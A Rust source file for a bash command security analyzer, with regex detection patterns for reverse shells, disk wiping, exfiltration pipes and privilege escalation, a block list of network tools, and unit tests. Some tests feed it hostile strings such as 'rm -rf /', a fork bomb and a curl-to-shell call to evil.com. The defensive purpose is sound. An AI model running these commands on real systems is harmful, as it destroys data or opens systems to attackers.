use std::collections::HashSet;
use std::sync::LazyLock;
use regex::Regex;
use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};
static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
vec![
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*\./\*").unwrap(), "rm ./*"),
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\./").unwrap(), "rm ../"),
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
(Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
(
Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\{").unwrap(),
"rm brace expansion",
),
(
Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
"privileged rm",
),
(
Regex::new(r"\bfind\s+/\s+.*-delete\b").unwrap(),
"find / -delete",
),
(
Regex::new(r"\bfind\s+/\s+.*-exec\s+rm\b").unwrap(),
"find / -exec rm",
),
(Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
(
Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
"dd disk",
),
(Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
(Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
(Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
(Regex::new(r"\bparted\s").unwrap(), "parted"),
(Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
(Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
(
Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
"shred root",
),
(Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
(
Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
"fork bomb",
),
(
Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
"infinite loop",
),
(Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
(Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
(Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
(Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
(Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
(Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
(Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
(
Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
"systemctl power",
),
(Regex::new(r"\bhalt\b").unwrap(), "halt"),
(Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
(
Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
"chmod world-writable",
),
(Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
(
Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
"chattr immutable",
),
(Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
(Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
(
Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
"firewall panic",
),
(
Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
"remote exec",
),
(Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
(
Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
"kill init",
),
(Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
(Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
(Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
(
Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
"disable history",
),
(Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
(Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
(
Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
"luks format",
),
(Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
(
Regex::new(r"bash\s+-i\s*>?\s*&\s*/dev/tcp/").unwrap(),
"bash reverse shell",
),
(
Regex::new(r"exec\s+\d+<>/dev/tcp/").unwrap(),
"exec fd reverse shell",
),
(Regex::new(r"exec\s+\d+<&\d+").unwrap(), "exec fd redirect"),
(
Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
"nc reverse shell",
),
(
Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
"python reverse shell",
),
(
Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
"perl reverse shell",
),
(
Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
"ruby reverse shell",
),
(
Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
"php reverse shell",
),
(
Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
"fifo reverse shell",
),
(Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
(Regex::new(r"\binsmod\s").unwrap(), "insmod"),
(Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
(Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
(Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
(
Regex::new(r"\bunshare\s+.*--mount").unwrap(),
"unshare mount",
),
(Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
(
Regex::new(r"mount\s+--bind\s+/").unwrap(),
"mount bind root",
),
(Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
(Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
(Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
(Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
(Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
(
Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
"base64 exfil",
),
(
Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
"tar exfil",
),
(
Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
"xargs rm -rf",
),
(
Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
"chmod setuid/setgid",
),
(
Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
"chmod suid bits",
),
(Regex::new(r"\bchroot\s").unwrap(), "chroot"),
(Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
(
Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
"mount -o bind",
),
(
Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
"mount overlay",
),
(Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
(
Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
"iptables default accept",
),
(
Regex::new(r"\bufw\s+default\s+allow").unwrap(),
"ufw default allow",
),
(Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
(Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
(Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
(Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
(Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
(Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
(
Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
"ulimit zero",
),
(Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
(Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
(Regex::new(r"\bkexec\b").unwrap(), "kexec"),
(Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
(Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
(
Regex::new(r#"\$'\\x[0-9a-fA-F]"#).unwrap(),
"hex encoded command",
),
(
Regex::new(r"\bbase64\s+(-d|--decode)\b").unwrap(),
"base64 decode",
),
(Regex::new(r"\bxxd\s+-r\b").unwrap(), "hex decode"),
(
Regex::new(r#"\bprintf\s+['"]\\x[0-9a-fA-F]"#).unwrap(),
"printf hex encode",
),
(
Regex::new(r"\brm\s+--recursive\b").unwrap(),
"rm --recursive",
),
(
Regex::new(r"\brm\s+.*--no-preserve-root\b").unwrap(),
"rm --no-preserve-root",
),
(
Regex::new(r"\bchmod\s+[augo]*[+-][rwxst]+\s+/").unwrap(),
"chmod symbolic system path",
),
(
Regex::new(r"\bfind\s+.*-exec\s+shred\b").unwrap(),
"find -exec shred",
),
]
});
fn bash_language() -> Language {
tree_sitter_bash::LANGUAGE.into()
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum SecurityConcern {
CommandSubstitution,
ProcessSubstitution,
EvalUsage,
RemoteExecution,
PrivilegeEscalation,
DangerousCommand(String),
VariableExpansion,
BacktickSubstitution,
}
#[derive(Debug, Clone)]
pub struct ReferencedPath {
pub path: String,
pub context: PathContext,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PathContext {
Argument,
InputRedirect,
OutputRedirect,
HereDoc,
}
#[derive(Debug, Clone)]
pub struct BashAnalysis {
pub paths: Vec<ReferencedPath>,
pub commands: Vec<String>,
pub env_vars: HashSet<String>,
pub concerns: Vec<SecurityConcern>,
}
impl BashAnalysis {
fn new() -> Self {
Self {
paths: Vec::new(),
commands: Vec::new(),
env_vars: HashSet::new(),
concerns: Vec::new(),
}
}
}
#[derive(Debug, Clone, Default)]
pub struct BashPolicy {
pub allow_command_substitution: bool,
pub allow_process_substitution: bool,
pub allow_eval: bool,
pub allow_remote_exec: bool,
pub allow_privilege_escalation: bool,
pub allow_variable_expansion: bool,
pub blocked_commands: HashSet<String>,
}
impl BashPolicy {
pub fn strict() -> Self {
Self {
allow_command_substitution: false,
allow_process_substitution: false,
allow_eval: false,
allow_remote_exec: false,
allow_privilege_escalation: false,
allow_variable_expansion: false,
blocked_commands: Self::default_blocked_commands(),
}
}
pub fn permissive() -> Self {
Self {
allow_command_substitution: true,
allow_process_substitution: true,
allow_eval: true,
allow_remote_exec: true,
allow_privilege_escalation: true,
allow_variable_expansion: true,
blocked_commands: HashSet::new(),
}
}
pub fn default_blocked_commands() -> HashSet<String> {
[
"curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
]
.into_iter()
.map(String::from)
.collect()
}
pub fn blocked_commands(
mut self,
commands: impl IntoIterator<Item = impl Into<String>>,
) -> Self {
self.blocked_commands = commands.into_iter().map(Into::into).collect();
self
}
pub fn is_command_blocked(&self, command: &str) -> bool {
let base_command = command.split_whitespace().next().unwrap_or(command);
self.blocked_commands.contains(base_command)
}
pub fn allows(&self, concern: &SecurityConcern) -> bool {
match concern {
SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
self.allow_command_substitution
}
SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
SecurityConcern::EvalUsage => self.allow_eval,
SecurityConcern::RemoteExecution => self.allow_remote_exec,
SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
SecurityConcern::VariableExpansion => self.allow_variable_expansion,
SecurityConcern::DangerousCommand(_) => false,
}
}
}
#[derive(Clone)]
pub struct BashAnalyzer {
policy: BashPolicy,
}
impl BashAnalyzer {
pub fn new(policy: BashPolicy) -> Self {
Self { policy }
}
pub fn analyze(&self, command: &str) -> BashAnalysis {
let mut analysis = BashAnalysis::new();
self.check_dangerous_patterns(command, &mut analysis);
let mut parser = Parser::new();
if parser.set_language(&bash_language()).is_err() {
self.fallback_analysis(command, &mut analysis);
return analysis;
}
let Some(tree) = parser.parse(command, None) else {
self.fallback_analysis(command, &mut analysis);
return analysis;
};
self.extract_paths_from_tree(&tree, command, &mut analysis);
self.extract_commands_from_tree(&tree, command, &mut analysis);
self.check_security_concerns(&tree, command, &mut analysis);
analysis
}
pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
let analysis = self.analyze(command);
for cmd in &analysis.commands {
if self.policy.is_command_blocked(cmd) {
return Err(format!("Blocked command: {}", cmd));
}
}
for concern in &analysis.concerns {
if !self.policy.allows(concern) {
return Err(format!("Security concern: {:?}", concern));
}
}
Ok(analysis)
}
fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
let normalized = Self::normalize_whitespace(command);
for (pattern, name) in DANGEROUS_PATTERNS.iter() {
if pattern.is_match(&normalized) {
analysis
.concerns
.push(SecurityConcern::DangerousCommand(name.to_string()));
}
}
}
fn normalize_whitespace(command: &str) -> String {
static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
WS_RE.replace_all(command.trim(), " ").to_string()
}
fn extract_paths_from_tree(
&self,
tree: &tree_sitter::Tree,
source: &str,
analysis: &mut BashAnalysis,
) {
let query_str = r#"
(word) @arg
(file_redirect (word) @redirect_file)
(heredoc_redirect (heredoc_body) @heredoc)
"#;
if let Ok(query) = Query::new(&bash_language(), query_str) {
let mut cursor = QueryCursor::new();
let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
while let Some(m) = matches.next() {
for capture in m.captures {
let text = &source[capture.node.byte_range()];
if text.starts_with('/') && !text.starts_with("/dev/") {
let context = match capture.index {
1 => PathContext::InputRedirect,
2 => PathContext::HereDoc,
_ => PathContext::Argument,
};
analysis.paths.push(ReferencedPath {
path: text.to_string(),
context,
});
}
}
}
}
self.extract_redirect_paths(source, analysis);
}
fn extract_redirect_paths(&self, source: &str, analysis: &mut BashAnalysis) {
static REDIRECT_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());
for cap in REDIRECT_RE.captures_iter(source) {
if let Some(path_match) = cap.get(1) {
let path = path_match.as_str();
if !path.starts_with("/dev/") {
let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
PathContext::InputRedirect
} else {
PathContext::OutputRedirect
};
analysis.paths.push(ReferencedPath {
path: path.to_string(),
context,
});
}
}
}
}
fn extract_commands_from_tree(
&self,
tree: &tree_sitter::Tree,
source: &str,
analysis: &mut BashAnalysis,
) {
let query_str = "(command name: (command_name) @cmd)";
if let Ok(query) = Query::new(&bash_language(), query_str) {
let mut cursor = QueryCursor::new();
let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
while let Some(m) = matches.next() {
for capture in m.captures {
let cmd = &source[capture.node.byte_range()];
analysis.commands.push(cmd.to_string());
}
}
}
}
fn check_security_concerns(
&self,
tree: &tree_sitter::Tree,
source: &str,
analysis: &mut BashAnalysis,
) {
let query_str = r#"
(command_substitution) @cmd_sub
(process_substitution) @proc_sub
(expansion) @var_exp
(simple_expansion) @simple_exp
"#;
if let Ok(query) = Query::new(&bash_language(), query_str) {
let mut cursor = QueryCursor::new();
let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
while let Some(m) = matches.next() {
for capture in m.captures {
match capture.index {
0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
2 | 3 => {
let var_text = &source[capture.node.byte_range()];
analysis.env_vars.insert(var_text.to_string());
analysis.concerns.push(SecurityConcern::VariableExpansion);
}
_ => {}
}
}
}
}
if source.contains('`') {
analysis
.concerns
.push(SecurityConcern::BacktickSubstitution);
}
for cmd in &analysis.commands {
match cmd.as_str() {
"eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
"sudo" | "doas" | "pkexec" | "su" => {
analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
}
_ => {}
}
}
self.check_remote_execution(source, analysis);
}
fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
});
if REMOTE_EXEC_RE.is_match(source) {
analysis.concerns.push(SecurityConcern::RemoteExecution);
}
static PIPE_SHELL_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"(curl|wget)\s[^|]*\|\s*\b(ba)?sh\b").unwrap());
if PIPE_SHELL_RE.is_match(source)
&& !analysis
.concerns
.contains(&SecurityConcern::RemoteExecution)
{
analysis.concerns.push(SecurityConcern::RemoteExecution);
}
}
fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
static PATH_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
static VAR_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());
for cap in PATH_RE.captures_iter(command) {
if let Some(path_match) = cap.get(1) {
let path = path_match.as_str();
if !path.starts_with("/dev/")
&& !path.starts_with("/proc/")
&& !path.starts_with("/sys/")
{
analysis.paths.push(ReferencedPath {
path: path.to_string(),
context: PathContext::Argument,
});
}
}
}
static CMD_RE: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());
for cap in CMD_RE.captures_iter(command) {
if let Some(cmd) = cap.get(1).or(cap.get(2)) {
analysis.commands.push(cmd.as_str().to_string());
}
}
if command.contains("$(") {
analysis.concerns.push(SecurityConcern::CommandSubstitution);
}
if command.contains('`') {
analysis
.concerns
.push(SecurityConcern::BacktickSubstitution);
}
if command.contains("<(") || command.contains(">(") {
analysis.concerns.push(SecurityConcern::ProcessSubstitution);
}
for cap in VAR_RE.captures_iter(command) {
if let Some(var_match) = cap.get(0) {
analysis.env_vars.insert(var_match.as_str().to_string());
if !analysis
.concerns
.contains(&SecurityConcern::VariableExpansion)
{
analysis.concerns.push(SecurityConcern::VariableExpansion);
}
}
}
}
}
impl Default for BashAnalyzer {
fn default() -> Self {
Self::new(BashPolicy::default())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_dangerous_command_blocked() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("rm -rf /");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
);
}
#[test]
fn test_extract_paths() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
}
#[test]
fn test_redirect_paths() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("echo test > /tmp/out.txt");
assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
}
#[test]
fn test_input_redirect() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("cat < /etc/hosts");
assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
}
#[test]
fn test_command_substitution_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::CommandSubstitution))
);
}
#[test]
fn test_process_substitution_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
);
}
#[test]
fn test_privilege_escalation_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("sudo apt update");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
);
}
#[test]
fn test_remote_exec_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("curl http://evil.com/script | sh");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::RemoteExecution))
);
}
#[test]
fn test_policy_validation() {
let analyzer = BashAnalyzer::new(BashPolicy::strict());
let result = analyzer.validate("echo $(whoami)");
assert!(result.is_err());
}
#[test]
fn test_safe_command() {
let analyzer = BashAnalyzer::new(BashPolicy::default());
let analysis = analyzer.analyze("echo hello world");
assert!(analysis.concerns.is_empty());
}
#[test]
fn test_fork_bomb_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze(":(){:|:&};:");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
);
}
#[test]
fn test_variable_expansion_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("cat $HOME/.bashrc");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::VariableExpansion))
);
assert!(analysis.env_vars.contains("$HOME"));
}
#[test]
fn test_backtick_substitution_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("echo `whoami`");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
);
}
#[test]
fn test_source_command_detected() {
let analyzer = BashAnalyzer::default();
let analysis = analyzer.analyze("source /etc/profile");
assert!(
analysis
.concerns
.iter()
.any(|c| matches!(c, SecurityConcern::EvalUsage))
);
}
}